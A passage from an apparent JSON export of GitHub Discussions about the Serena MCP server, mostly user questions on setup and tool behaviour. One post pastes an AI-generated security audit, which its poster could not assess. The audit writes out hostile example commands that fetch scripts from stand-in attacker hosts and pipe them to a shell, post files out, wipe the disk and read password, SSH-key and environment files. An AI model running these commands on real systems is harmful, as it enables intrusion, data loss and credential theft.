      "body": "What the title says.\r\n\r\nContext: I was having a conversation about creating and then editing some python test cases that I could run in Pytest. At the end of the response generation I noticed that `execute_shell_command` had failed to run pytest because my virtual environment wasn't activated.\r\n\r\nMinutes of yak-shaving later, I'm editing the apply() function in class ExecuteShellCommandTool to see if I can insert that functionality myself.\r\n\r\nHas anyone else encountered this / wanted a solution?\r\n\r\nI'm not 100% sure I'm inserting this functionality in the correct place, but I'm going to try it out shortly and find out. Then I thought I might as well look to see if there were any open issues or discussions on the topic but didn't find any, so here I am. :P",
      "created_at": "2025-09-12T05:49:13Z",
      "updated_at": "2025-09-12T05:49:14Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "warp-9000",
        "avatar_url": "https://avatars.githubusercontent.com/u/105465016?u=ad04aa7b4bd86eda099f3129a9be764cb1cc5606&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ahu8b",
      "number": 604,
      "title": "Other timeout options for Eclipse LSP?",
      "body": "On MacOs Sequoia 15.6.1.  I'm running the recommended \r\n\r\n> uvx --from git+https://github.com/oraios/serena serena project index \r\n\r\nin the root of a large Java 8 project that also has Scala and Groovy code in some modules.\r\n\r\nThe health-check command passes, though with some complaints about a missing artifact that does actually exist in this project: [serena_health_check_anonymized.log](https://github.com/user-attachments/files/22166411/serena_health_check_anonymized.log)\r\n\r\nBut the index command always fails with this timeout error: [serena_error_log_anonymized.txt](https://github.com/user-attachments/files/22166107/serena_error_log_anonymized.txt)\r\n\r\nNote that the timeout is 10s, not the default 240s from serena_config.yml\r\n\r\nIs there a way for me to configure this timeout?  Or any other suggestions?\r\n",
      "created_at": "2025-09-05T06:39:47Z",
      "updated_at": "2025-09-05T06:39:48Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "emmulator",
        "avatar_url": "https://avatars.githubusercontent.com/u/2083447?u=75ca17cc6a0790b2f251d5c9a3d3a0414b977cd0&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag8Nc",
      "number": 362,
      "title": "Should I add `/.serena/cache` folder to source control?",
      "body": "I wonder if I should commit `/.serena/cache` directory or should I add it to `.gitignore`?",
      "created_at": "2025-07-26T11:06:59Z",
      "updated_at": "2025-09-01T20:11:23Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A1AmF",
        "body": "Add it to gitignore. I usually also ignore the whole of .serena, just sometimes force-adding memories if I feel there's a need"
      },
      "user": {
        "login": "Mnigos",
        "avatar_url": "https://avatars.githubusercontent.com/u/56691628?u=ee8c879478f7c151b9156aef6c74243fa3e247a8&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhpL9",
      "number": 580,
      "title": "How helpful is Serena",
      "body": "LOVE this idea but how helpful is it. I see it running and...... well not sure at this point. I see stuff in the window but just not sure what what happens. I assume that over time, claude code development goes faster but not sure....  I haven't see a difference but hard to tell since my request to CC are different so not sure how to weight this. Is there a dashboard that would tell me what I have seen? saved? token used with and without serena? I am using this correctly, I don't know. \r\nThanks",
      "created_at": "2025-08-31T10:24:05Z",
      "updated_at": "2025-08-31T12:20:07Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "gordingin",
        "avatar_url": "https://avatars.githubusercontent.com/u/6098691?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ahojx",
      "number": 579,
      "title": "Does serena update symbols cache automatically, or do I have to run onboarding or something?",
      "body": "One thing I'm confused about in general is how serena keeps its content fresh. I saw another question asked about memories, and they have to be updated manually. What about symbols? is the cache updated automatically when one of the symbols tools is used? Can we count on \"search\" being fresh? In a fast moving project, stale context from serena could really confuse issues. ",
      "created_at": "2025-08-30T03:49:34Z",
      "updated_at": "2025-08-30T07:39:20Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A2Z0V",
        "body": "Symbols cache is updated automatically "
      },
      "user": {
        "login": "ohcedar",
        "avatar_url": "https://avatars.githubusercontent.com/u/216420442?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhnlY",
      "number": 575,
      "title": "Does serena update its memories about core architecture as a project evolves?",
      "body": "I noticed onboarding takes a snapshot of the project hierarchy and summarizes the project, I'm just wondering if these memories evolve along with the project. If not is it safe to re-onboard serena every once in a while to keep its memories up to date?",
      "created_at": "2025-08-28T23:16:44Z",
      "updated_at": "2025-08-29T04:31:34Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "ahSOLO",
        "avatar_url": "https://avatars.githubusercontent.com/u/58865044?u=da340cf228828a2f50291a13044ed1f0a7432e0c&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhnNZ",
      "number": 571,
      "title": "Roocode with serena",
      "body": "Hi, I want to use serena with roocode.\r\nAs I understand it, in each conversation in claude, we will call `read initial instruct with serena mcp`, with this I think it will make serena a system promt provider, right?\r\nSo with roocode having 4 modes along with its own system promt, how will serena be used?",
      "created_at": "2025-08-28T14:06:36Z",
      "updated_at": "2025-08-28T14:06:38Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "Phunguy65",
        "avatar_url": "https://avatars.githubusercontent.com/u/55185818?u=dbc2e7a75a761ba9c73e684920e964eb8fa816ce&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Agdh1",
      "number": 254,
      "title": "RooCode - MCP error -32001: Request timed out",
      "body": "MCP Error in RooCode when adding serena to mcp_settings.json\r\n```\r\n\"serena\": {\r\n  \"type\": \"stdio\",\r\n  \"command\": \"/home/${USER}/.local/bin/uv\",\r\n  \"args\": [\r\n    \"run\",\r\n    \"--directory\",\r\n     \"/home/${USER}/development/tools/serena/\",\r\n    \"serena-mcp-server\",\r\n    \"--context\", \r\n    \"ide-assistant\"\r\n  ]\r\n}\r\n```\r\n\r\nWith this entry the dashboard shows up and is located at:\r\n```\r\nhttp://localhost:24283/dashboard/index.html\r\n```\r\n\r\nWith this data:\r\n```\r\nINFO  2025-06-29 00:22:15,504 [MainThread] serena.agent:__init__:787 - Starting Serena server (version=2025-06-21-f0a74ca6, process id=28957, parent process id=28954)\r\nINFO  2025-06-29 00:22:15,504 [MainThread] serena.agent:__init__:788 - Available projects:\r\nINFO  2025-06-29 00:22:15,515 [MainThread] serena.agent:__init__:817 - Loaded tools (33): restart_language_server, read_file, create_text_file, list_dir, find_file, get_symbols_overview, find_symbol, find_referencing_symbols, replace_symbol_body, insert_after_symbol, insert_before_symbol, replace_regex, delete_lines, replace_lines, insert_at_line, check_onboarding_performed, onboarding, write_memory, read_memory, list_memories, delete_memory, think_about_collected_information, think_about_task_adherence, think_about_whether_you_are_done, summarize_changes, prepare_for_new_conversation, search_for_pattern, execute_shell_command, activate_project, remove_project, switch_modes, get_current_config, initial_instructions\r\nINFO  2025-06-29 00:22:15,516 [MainThread] serena.agent:_update_active_tools:928 - Mode editing excluded 3 tools: replace_lines, insert_at_line, delete_lines\r\nINFO  2025-06-29 00:22:15,516 [MainThread] serena.agent:_update_active_tools:935 - Context ide-assistant excluded 6 tools: create_text_file, read_file, delete_lines, replace_lines, insert_at_line, execute_shell_command\r\nINFO  2025-06-29 00:22:15,516 [MainThread] serena.agent:_update_active_tools:956 - Active tools after all exclusions (27): activate_project, check_onboarding_performed, delete_memory, find_file, find_referencing_symbols, find_symbol, get_current_config, get_symbols_overview, initial_instructions, insert_after_symbol, insert_before_symbol, list_dir, list_memories, onboarding, prepare_for_new_conversation, read_memory, remove_project, replace_regex, replace_symbol_body, restart_language_server, search_for_pattern, summarize_changes, switch_modes, think_about_collected_information, think_about_task_adherence, think_about_whether_you_are_done, write_memory\r\nINFO  2025-06-29 00:22:15,520 [MainThread] serena.mcp:start_mcp_server:617 - Starting MCP server ...\r\nINFO  2025-06-29 00:22:15,568 [MainThread] serena.mcp:server_lifespan:223 - MCP server lifetime setup complete\r\n```\r\n\r\nAny idea how to get RooCode to recognize this MCP Server?",
      "created_at": "2025-06-29T04:27:59Z",
      "updated_at": "2025-08-28T13:58:37Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "nexprotolabs",
        "avatar_url": "https://avatars.githubusercontent.com/u/200453265?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhlHu",
      "number": 545,
      "title": "Serena vs Claude Code built-in tools",
      "body": "Are there any advantages to use and setup Serena over Claude Code to use this MCP over Claude Code's grab and search built-in tools?",
      "created_at": "2025-08-26T13:05:00Z",
      "updated_at": "2025-08-27T22:15:05Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "agn-7",
        "avatar_url": "https://avatars.githubusercontent.com/u/14202344?u=a1d05998ceaf4d06d1063575a7c4ef6e7ae5890e&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ahkfd",
      "number": 539,
      "title": "Qwen3-Coder-30B-A3B-Instruct caught in think_about_* loops quickly",
      "body": "I'm playing with (Unsloth) Qwen3-Coder-30B-A3B-Instruct and Serena, and Qwen gets hung up in think_about_collected_information - think_about_task_adherence - think_about_collected_information - ... loops very quickly. For testing, I tried disabling those tools in `.serena/project.yml`, but they get called quite frequently anyways, erroring out, then getting retried. Not sure where to go from here. Is there a way to hide tools completely, or would it be an option to make disabled tools return something neutral rather than an error?",
      "created_at": "2025-08-25T20:05:23Z",
      "updated_at": "2025-08-25T20:30:06Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "mkiesel",
        "avatar_url": "https://avatars.githubusercontent.com/u/8036049?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ahg5j",
      "number": 525,
      "title": "Serena is crashing wsl at 75%. WSL just closed terminal window",
      "body": "When running the index, it gets to 75% then just crashes the WSL terminal window. I have the latest WSL. Anything I can do to debug? im guessing it's finding a file it doesn't like and then crashes. Docker is not running when this happens, nor any other terminal window, only trying to reindex. When I got back into WSL and tried to index again. Get a message that there is an error message: \r\nERROR 2025-08-23 10:08:53,656 solidlsp:load_cache:1665 - Failed to load document symbols cache from /user/project/abc/.serena/cache/typescript/document_symbols_cache_v23-06-25.pkl: Ran out of input. Possible cause: the cache file is corrupted. Check for any errors related to saving the cache in the logs",
      "created_at": "2025-08-23T17:10:06Z",
      "updated_at": "2025-08-24T13:53:24Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "visioncourse",
        "avatar_url": "https://avatars.githubusercontent.com/u/14945179?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ahe4M",
      "number": 512,
      "title": "How is your experience with the symbol-based tools?",
      "body": "One of the reasons why I want to start using Serena with Java codebases, is that it may aid LLMs to do large scale refactoring almost as efficiently as IntelliJ can do it with me behind the wheel.\r\n\r\nBut this can only work if the underlying tools work correctly, like `find_referencing_symbols`.\r\nI noticed that they seem to be unreliable, not finding the refrencing symbols often. **However, I am not sure how I can debug them.**\r\n\r\nIs there anything I can do to debug those tools, and understand if maybe the LLM is passing incorrect arguments or if it is Eclipse LSP not fully loaded?\r\n\r\nAdditionally wanted to ask, I just noticed `jet_brains_*` tools - are those implemented already? I would love to learn how these work, any code pointers would be much appreciated 🙏",
      "created_at": "2025-08-22T08:16:46Z",
      "updated_at": "2025-08-22T12:18:35Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "nikita2206",
        "avatar_url": "https://avatars.githubusercontent.com/u/1030688?u=58359eeca07bece2b78aa0aa30bbdb7dc7394f87&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhZzr",
      "number": 496,
      "title": "How can ensure that serena follows naming conventions?",
      "body": "I noticed that serena often creates names that are similar to what I am working on but forget about them and does not learn from the memories, i have tried enforcing the methods via claude.md, i would prefer to set this globally so it follow the same methodology for all projects. Any ideas?",
      "created_at": "2025-08-18T16:00:36Z",
      "updated_at": "2025-08-18T16:00:37Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "chrisayl",
        "avatar_url": "https://avatars.githubusercontent.com/u/47056898?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfOZX",
      "number": 52,
      "title": "Using Windows Claude-Desktop version with WSL and Debian",
      "body": "\nI wanted to use with the communautary version of Claude-Desktop but I had segment fault despite all my tries. I then investigated how to do it with the windows version and I found an intesting article who gave me nice advices: https://scottspence.com/posts/getting-mcp-server-working-with-claude-desktop-in-wsl\n\nIt's working well with my Go project in Debian using Claude-Desktop from Windows.  I hope this will be useful to others!\n\n[Readme_Serena_MCP.md](https://github.com/user-attachments/files/19675055/Readme_Serena_MCP.md) (Written by Claude to try out, it worked well)",
      "created_at": "2025-04-09T22:19:22Z",
      "updated_at": "2025-08-15T09:39:39Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "Kilonne",
        "avatar_url": "https://avatars.githubusercontent.com/u/2888261?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhRzX",
      "number": 484,
      "title": "What's the point of Serena regex tools and how to disable them?",
      "body": "The regex find and replace tools seem to be slower and more cumbersome than the built in search and replace grep tools Claude Code has per default. It constantly breaks syntax, doesn't seem to read files before writing to them, and goes off in loops trying to use regex to find the syntax error it caused, to then break something else in the process of fixing it. \r\n\r\nWhy would I want to use the Serena regex tools over the CC ones and how do I disable them persistently? \r\n\r\nI've been using Serena for a few weeks now and really happy with it overall, the regex functionality is the main thing that feels disjointed and awkward. ",
      "created_at": "2025-08-13T12:04:46Z",
      "updated_at": "2025-08-13T15:46:28Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A1xFL",
        "body": "You can disable tools through the config, see here\r\nhttps://github.com/oraios/serena?tab=readme-ov-file#configuration\r\n\r\nThere are multiple reasons for the existence of this tool:\r\n1. Serena is not only for Claude code\r\n2. Even within Claude code, the editing operations used to be full string replacement, which is not token efficient. We don't know whether they still are based on full string replacement.\r\n\r\nWe will consider disabling this tool in the ide-assistant context in the future though, seems like editing in many coding assistants did get more efficient in the last months"
      },
      "user": {
        "login": "GGGSPB",
        "avatar_url": "https://avatars.githubusercontent.com/u/200616729?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhMTz",
      "number": 445,
      "title": "How can i see the dashboard when working in SSE mode?",
      "body": "I have tried the SSE server http://0.0.0.0:9121, and those listed in the config, no luck. I switched to SSE so agents can handle it better, but i would still like to see what's happening.\r\n\r\n```yaml\r\nweb_dashboard: true\r\n# whether to open the Serena web dashboard (which will be accessible through your web browser) that\r\n# shows Serena's current session logs - as an alternative to the GUI log window which\r\n# is supported on all platforms.\r\n\r\nweb_dashboard_open_on_launch: true\r\n# whether to open a browser window with the web dashboard when Serena starts (provided that web_dashboard\r\n# is enabled). If set to False, you can still open the dashboard manually by navigating to\r\n# http://localhost:24282/dashboard/ in your web browser (24282 = 0x5EDA, SErena DAshboard).\r\n# If you have multiple instances running, a higher port will be used; try port 24283, 24284, etc.\r\n```",
      "created_at": "2025-08-08T09:48:32Z",
      "updated_at": "2025-08-08T12:15:24Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "chrisayl",
        "avatar_url": "https://avatars.githubusercontent.com/u/47056898?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhMCn",
      "number": 440,
      "title": "Thank you for dark mode!",
      "body": "Seriously, my retinas love you now.\r\n🙌 👀 🙌",
      "created_at": "2025-08-08T03:22:08Z",
      "updated_at": "2025-08-08T09:07:48Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "dnszero",
        "avatar_url": "https://avatars.githubusercontent.com/u/1174595?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhH-o",
      "number": 410,
      "title": "What is considered a \"larger project\"?",
      "body": "I'm wondering when it begins to become beneficial to index the project. The README contains the following:\r\n> For larger projects, we recommend that you index your project to accelerate Serena's tools...\r\n\r\nBut what constitutes \"larger projects\"? For example, does a monorepo with > 50k lines of code need to be indexed? Do monorepo's need to be indexed earlier than repos that contain only one project? Is this more about directory structure or number of lines/tokens/etc.?",
      "created_at": "2025-08-04T21:47:48Z",
      "updated_at": "2025-08-07T22:28:07Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A1iI2",
        "body": "You never have to index beforehand, but just the following can happen:\r\n\r\n1. If find_symbol is called on a specific file, only that file will be indexed, the response is fast\r\n2. if find_symbol is called on the whole project, all files will be indexed. Now if the project is large-ish, and the language server is not very performant (depends on the language server used), this may take very long and degrade the user experience. It only happens on the first call though, since then the symbols cache is built and all subsequent calls will be much faster.\r\n\r\nSo in order to have a smooth user experience, we recommend to build the cache explicitly for larger projects, so that a first call to find_symbol doesn't appear to hang. That's all"
      },
      "user": {
        "login": "jamesobrooks",
        "avatar_url": "https://avatars.githubusercontent.com/u/12275865?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhLG4",
      "number": 428,
      "title": "How to add this MCP server to Claude Code?",
      "body": "How can I add this MCP server to Claude Code?\r\nDoes it really need to be used by Claude Code, or it has a built-in tool like this?",
      "created_at": "2025-08-07T07:50:46Z",
      "updated_at": "2025-08-07T10:20:05Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "agn-7",
        "avatar_url": "https://avatars.githubusercontent.com/u/14202344?u=a1d05998ceaf4d06d1063575a7c4ef6e7ae5890e&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgbvI",
      "number": 244,
      "title": "Docker Setup",
      "body": "Hey,\r\n\r\nI am trying to run serena in a docker setup. Am I correct that in the running docker container, there should be \r\n\r\n```\r\n/workspaces\r\n| - serena/\r\n| - | - src/\r\n| - | - serena_config.docker.yml\r\n| - | - \r\n| - projects/\r\n| - | - my_project/\r\n```\r\n\r\nWhen I run the docker container [according to the docs](https://github.com/oraios/serena/blob/2025-06-20/README.md#using-docker-experimental), I only bind mount `/workspaces/projects`. But the `serena_config.docker.yml` lays in `/workspaces/serena`. \r\n\r\n```\r\nINFO:serena.agent:Loading Serena configuration from /workspaces/serena/serena_config.docker.yml\r\n```\r\n\r\nThis folder is not bind mounted and will be `--rm` with the rest of the container on shutdown.\r\n\r\nIn another doc [over here](https://github.com/oraios/serena/blob/main/DOCKER.md#using-docker-directly) the whole `/workspace` directory is bind-mounted. I guess in the end it does not matter too much, where the projects are. Because you have to init them with their full path either way. But maybe the docs should still use one path as not to confuse ... me. ",
      "created_at": "2025-06-27T09:58:45Z",
      "updated_at": "2025-08-07T01:39:12Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "foertel",
        "avatar_url": "https://avatars.githubusercontent.com/u/375863?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhJ0R",
      "number": 420,
      "title": "Is there any plan or information about whether Serena language server will support Swift?\"",
      "body": "I'm an iOS developer using Serena, and I've noticed that the language server doesn't currently support Swift properly. The get_symbols_overview tool fails with \"invalid AST\" errors, forcing us to rely on search_for_pattern which is less effective for comprehensive code analysis.\r\nSince SourceKit-LSP is already available on macOS and Serena currently only uses ClangdLanguageServer (for C/C++), I'm wondering if there are any plans to add native Swift support to Serena's language server? This would significantly improve the development experience for iOS developers using Serena.",
      "created_at": "2025-08-06T04:40:08Z",
      "updated_at": "2025-08-07T10:20:33Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A1dux",
        "body": "Swift support is essentially finished, we're just waiting for the dev to resolve the minor comments in #397 .\r\n\r\nIf you're eager to try it, you can switch to that fork meanwhile :)"
      },
      "user": {
        "login": "mtquyen-misa",
        "avatar_url": "https://avatars.githubusercontent.com/u/212295602?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhD6Y",
      "number": 391,
      "title": "Docker Container (remote access)",
      "body": "I was thinking I could run a single remote Serena MCP server in a docker container, and point all MCP clients (which are remote connections) to a single Serena MCP server instance.  This way there is no dependency of a remote github repository, and I don't have to have docker installed everywhere I want to use Serena.  Is this not the intended purpose of the docker container version, or is it just intended to run locally as a container everywhere a MCP client is configured.  I thought I had it partially working with SSE transport, but not everything worked as expected, so I was wondering if the use case I am suggesting is even possible.\n\nThank You.",
      "created_at": "2025-07-25T19:44:54Z",
      "updated_at": "2025-12-16T23:59:54Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "sruckh",
        "avatar_url": "https://avatars.githubusercontent.com/u/29985975?u=d36c87e0a932ec837950fb2f73589f4df22d3fba&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhCTY",
      "number": 380,
      "title": "Run proper Security Audit",
      "body": "Hi!\nThis looks awesome! \n\nAs part of my standard procedure these days, I downloaded the codebase, opened it with Claude Code and asked it to run a thorough security analysis. The following is what it returned. \nI'm not a pro at this, but it sounds serious enough that someone who knows this stuff should probably take a look.\n\nIt says **\"The audit found no evidence of deliberate malicious code, but identified significant security vulnerabilities that could be exploited for data exfiltration and system compromise if the tool falls into the wrong hands or is deployed inappropriately.\"**\n\nThe recommendations at the end seem sensible too.\n\nApologies if this is unhelpful or annoying. I'm in no position to actually evaluate if it is \"slop\" or not…\n\n---\n\n# Comprehensive Security Assessment Report: Serena MCP Server\n\n**Assessment Date**: July 31, 2025  \n**Assessed Version**: Current main branch  \n**Assessment Type**: Static Code Analysis & Architecture Review  \n**Risk Classification**: HIGH  \n\n## Executive Summary\n\nThis security audit of the Serena MCP Server codebase has identified several critical security vulnerabilities that pose significant risks for data exfiltration, unauthorized system access, and potential compromise of systems running this software. The primary concerns center around unrestricted shell command execution, network exposure, and insufficient access controls.\n\n## 🔴 **HIGH RISK FINDINGS**\n\n### 1. **Arbitrary Shell Command Execution**\n- **Location**: `src/serena/tools/cmd_tools.py:14-43`, `src/serena/util/shell.py:15-42`\n- **CVE Risk**: Critical - Remote Code Execution\n- **Description**: The `ExecuteShellCommandTool` allows execution of arbitrary shell commands with full system privileges\n- **Attack Vector**: Any user/AI with access to the MCP server can execute potentially malicious commands\n- **Technical Details**: \n  - Uses `subprocess.Popen(command, shell=True)` which enables command injection\n  - No command whitelisting or sandboxing mechanisms\n  - Inherits full process environment and permissions\n- **Exploitation Example**:\n  ```python\n  execute_shell_command(\"rm -rf / --no-preserve-root\")\n  execute_shell_command(\"curl -s http://malicious.site/steal.sh | bash\")\n  ```\n- **Impact**: Complete system compromise, data exfiltration, malware installation, lateral movement\n\n### 2. **Network Server Binding to All Interfaces**\n- **Location**: `src/serena/dashboard.py:146`, `src/serena/mcp.py:123`, `compose.yaml:14`\n- **CVE Risk**: High - Information Disclosure & Remote Access\n- **Description**: Web dashboard and MCP server bind to `0.0.0.0` by default, exposing services to network\n- **Attack Vector**: Remote attackers can access internal services if firewall rules permit\n- **Technical Details**:\n  - Default host parameter is `\"0.0.0.0\"` in multiple server configurations\n  - Dashboard runs on port 24282 (0x5EDA) with no authentication\n  - MCP server accessible on configurable ports (default 9121)\n- **Impact**: Remote access to debugging tools, logs, system shutdown, and potential command execution\n\n### 3. **Unrestricted File System Access**\n- **Location**: `src/serena/tools/file_tools.py`, project validation functions\n- **CVE Risk**: High - Unauthorized File Access\n- **Description**: Tools can read/write files anywhere within project boundaries without strict sandboxing\n- **Attack Vector**: Path traversal attacks, unauthorized file access through symbolic links\n- **Technical Details**:\n  - Basic path validation exists but may be bypassable\n  - No chroot or containerization enforcement\n  - Can access sensitive project files and configurations\n- **Exploitation Example**:\n  ```python\n  read_file(\"../../../etc/passwd\")\n  read_file(\"../../.ssh/id_rsa\")\n  ```\n- **Impact**: Data exfiltration, sensitive file exposure, credential theft\n\n## 🟠 **MEDIUM RISK FINDINGS**\n\n### 4. **External API Communication Without User Consent**\n- **Location**: `src/serena/analytics.py:54-70`\n- **CVE Risk**: Medium - Privacy Violation & Data Exfiltration\n- **Description**: `AnthropicTokenCount` class makes API calls to Anthropic for token counting\n- **Attack Vector**: Data exfiltration through legitimate API calls, potential usage tracking\n- **Technical Details**:\n  - `anthropic.Anthropic(api_key=api_key)` client sends user content externally\n  - No user consent mechanism for external data transmission\n  - Token counting sends code snippets to third-party service\n- **Impact**: Privacy violation, potential intellectual property leakage, compliance violations\n\n### 5. **Language Server Process Spawning**\n- **Location**: `src/solidlsp/ls_handler.py:184-193`\n- **CVE Risk**: Medium - Local Privilege Escalation\n- **Description**: Spawns external language server processes with `shell=True`\n- **Attack Vector**: Command injection through language server configuration manipulation\n- **Technical Details**:\n  - `subprocess.Popen(cmd, shell=True)` with potentially user-controllable commands\n  - Language server paths and arguments may be configurable\n  - Processes inherit parent process permissions\n- **Impact**: Local privilege escalation, arbitrary code execution, process manipulation\n\n### 6. **Insecure Web Dashboard**\n- **Location**: `src/serena/dashboard.py:59-104`\n- **CVE Risk**: Medium - Information Disclosure & Unauthorized Control\n- **Description**: Web dashboard lacks authentication and serves internal system information\n- **Attack Vector**: Unauthorized access to logs, system statistics, shutdown functionality\n- **Technical Details**:\n  - No authentication mechanisms in Flask routes\n  - Exposes system logs via `/get_log_messages`\n  - Provides shutdown endpoint `/shutdown`\n  - Shows internal tool statistics and usage patterns\n- **Impact**: Information disclosure, unauthorized system control, denial of service\n\n## 🟡 **LOW RISK FINDINGS**\n\n### 7. **Environment Variable Exposure**\n- **Location**: `src/serena/util/shell.py:50`, various configuration files\n- **CVE Risk**: Low - Information Disclosure\n- **Description**: Subprocess operations inherit full environment including potentially sensitive variables\n- **Attack Vector**: Information disclosure through subprocess environment manipulation\n- **Technical Details**:\n  - Uses `os.environ.copy()` which includes all environment variables\n  - May expose API keys, database credentials, internal URLs\n- **Impact**: Credential leakage, configuration exposure, attack surface expansion\n\n### 8. **Persistent Data Storage**\n- **Location**: `src/serena/tools/memory_tools.py`, logging infrastructure\n- **CVE Risk**: Low - Privacy Violation\n- **Description**: Persistent storage of user interactions and project data in `.serena/memories/`\n- **Attack Vector**: Data mining from stored memories and logs for sensitive information\n- **Technical Details**:\n  - Stores project-specific memories in markdown format\n  - Retains conversation history and tool usage patterns\n  - No automatic data expiration or encryption\n- **Impact**: Long-term privacy violation, data persistence beyond session scope\n\n## 🔒 **POSITIVE SECURITY FINDINGS**\n\n- **No hardcoded credentials**: No API keys or passwords found in source code\n- **Environment-based configuration**: Uses dotenv and environment variables for sensitive settings\n- **Recent dependencies**: Most dependencies are well-maintained and use recent versions\n- **Some input validation**: Basic path validation exists for file operations\n- **Security awareness**: Code comments show awareness of security risks (e.g., shell command warnings)\n- **Dependency management**: Uses `uv` for deterministic dependency resolution\n\n## 📋 **SECURITY TEST RECOMMENDATIONS**\n\n### 1. **Command Injection Testing**\n```bash\n# Test various command injection vectors\nexecute_shell_command(\"echo test; cat /etc/passwd\")\nexecute_shell_command(\"$(curl -s http://malicious.site/payload.sh)\")\nexecute_shell_command(\"; wget http://attacker.com/backdoor.sh -O /tmp/bd.sh; chmod +x /tmp/bd.sh; /tmp/bd.sh\")\nexecute_shell_command(\"& powershell -Command \\\"Invoke-WebRequest -Uri 'http://malicious.site/data' -Method POST -Body (Get-Content C:\\\\sensitive.txt)\\\"\")\n```\n\n### 2. **Network Exposure Testing**\n```bash\n# Test remote accessibility\nnmap -p 24282,9121 <target_host>\ncurl http://<target_host>:24282/dashboard/\ncurl -X POST http://<target_host>:24282/get_log_messages\ncurl -X PUT http://<target_host>:24282/shutdown\n```\n\n### 3. **Path Traversal Testing**\n```bash\n# Test file access controls\nread_file(\"../../../etc/passwd\")\nread_file(\"../../.env\")\nread_file(\"../../../../proc/self/environ\")\nread_file(\"../../../Windows/System32/config/SAM\")\n```\n\n### 4. **API Exfiltration Testing**\n- Monitor network traffic during token counting operations\n- Verify what data is sent to external APIs\n- Test with sensitive code snippets to check data leakage\n- Analyze API request headers and payloads\n\n### 5. **Memory/Log Analysis Testing**\n```bash\n# Check for sensitive data in stored memories\nfind .serena/memories/ -type f -exec grep -l \"password\\|secret\\|key\\|token\" {} \\;\n# Analyze log files for sensitive information\ngrep -r \"api_key\\|password\\|secret\" logs/\n```\n\n## 🛡️ **SECURITY RECOMMENDATIONS**\n\n### Immediate Actions (Critical - Implement Within 7 Days)\n\n1. **Disable Shell Command Execution by Default**\n   ```python\n   # Add configuration option to disable shell tools\n   if not config.allow_shell_commands:\n       raise SecurityError(\"Shell command execution disabled for security\")\n   ```\n\n2. **Bind Services to Localhost Only**\n   ```python\n   # Change default host binding\n   def run(self, host: str = \"127.0.0.1\", port: int = 0x5EDA):\n   ```\n\n3. **Add Authentication to Web Dashboard**\n   ```python\n   # Implement basic authentication or disable dashboard in production\n   @app.before_request\n   def authenticate():\n       if not verify_auth(request):\n           abort(401)\n   ```\n\n### Medium-term Improvements (1-4 Weeks)\n\n1. **Implement Command Whitelisting**\n   - Create allowlist of safe commands\n   - Add regex-based command validation\n   - Implement command parameter sanitization\n\n2. **Add Comprehensive Input Validation**\n   - Strict path validation with canonicalization\n   - File type and size restrictions\n   - Input sanitization for all user-controllable data\n\n3. **Implement Sandboxing**\n   - Use containers or chroot for isolation\n   - Limit file system access to specific directories\n   - Implement resource limits (CPU, memory, disk)\n\n4. **Add Security Configuration Options**\n   ```yaml\n   security:\n     allow_shell_commands: 